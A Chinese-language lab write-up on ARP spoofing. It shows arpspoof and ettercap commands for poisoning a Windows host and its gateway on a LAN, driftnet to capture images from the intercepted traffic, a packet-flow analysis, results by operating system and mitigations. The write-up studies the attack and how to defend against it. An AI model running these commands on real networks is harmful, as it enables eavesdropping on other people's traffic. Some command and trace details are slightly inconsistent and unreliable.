ARP spoofing 實驗與分析

定義

ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker’s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.` (By wiki)

拆分如下幾個概念：
- 利用缺陷：在 Data Link Layer 利用 ARP 協議安全缺陷
- 攻擊範圍：限制在 LAN。ARP協議本身特性決定
- 攻擊對象：對目標機與（通常）網關。以中間人 Man in the middle(MITM) 身份

---

場景實驗

拓撲

涉及工具

• arpspoof
• ettercap
• driftnet
  Note: 使用Kali 2.0 Linux 實施。默認這些工具預裝。

目的

利用 arpspoof or ettercap對LAN中的Windows host（Win10）進行 ARP spoofing 攻擊。
1. 在攻擊host開啓 ip_fowoard，默認關閉。如不開啓，可以導致斷網攻擊。
2. 運行arpspoof

## Bi-direction arp spoofing, or cause DOS due to only half traffic being redirected to attacker 
## How to use arpspoof
arpspoof -i <interface> -t <target> <default gateway>
arpspoof -i <interface> -t <default gateway> <target>

## Actual commands run
## Gateway's IP 192.168.168.1
## Victim's IP  192.168.168.101
arpspoof -i eth0 192.168.168.101 192.168.168.1
arpspoof -i eth0 192.168.168.1 192.168.168.101

1. 利用 driftnet抓取竊取流量彙總的圖片（也可以是音頻）

## Capture images from network traffic and display them in an X window.
driftnet -i  eth0 -m 200 -a - d ~/Pictures    
-i interface
-m maximum picture number to store
-a no print on x-window and just store
-d directory

1. (可選)工具 ettercap 替代arpspoof

ettercap -i eth0 -Tq -M arp:remote //192.168.168.101// //192.168.168.1//
參數說明：
-i： 網卡
-T ：文本模式（-G 圖形界面）
-q：安靜模式，僅當嗅探到密碼時才顯示
-M：攻擊方法
-P：加載插件，比如sslstrip

抓包分析

Sniffer (192.168.168.104)– Win host (192.168.168.101)
——> who is at 101 (request)
<—— win’s mac is at 101 (reply)
——> who is at 1 (request)
<—— gw’s mac is at 1 (reply)
arpspoof starts
——> gw(Sniffer’s mac) is at 1 (reply) ## cheat Win host
——> win(Sniffer’s mac) is at 104 (reply) ## cheat Gateway
… repeat above two actions periodically

結論

• Windows(10)/ Android(5.02) can be sniffed
• Iphone(8.4)/Mac(10.11.5) can NOT be sniiffed
  由上可見 IOS 與 OSX ， 當接收到重複（攻擊） ARP reply，並不會強制刷新 arp table 。

---

應對

• Static ARP entries
  配置靜態 ARP 條目(N^2 - N)
• ARP spoofing detection software
• OS security
  取決於不同OS的配置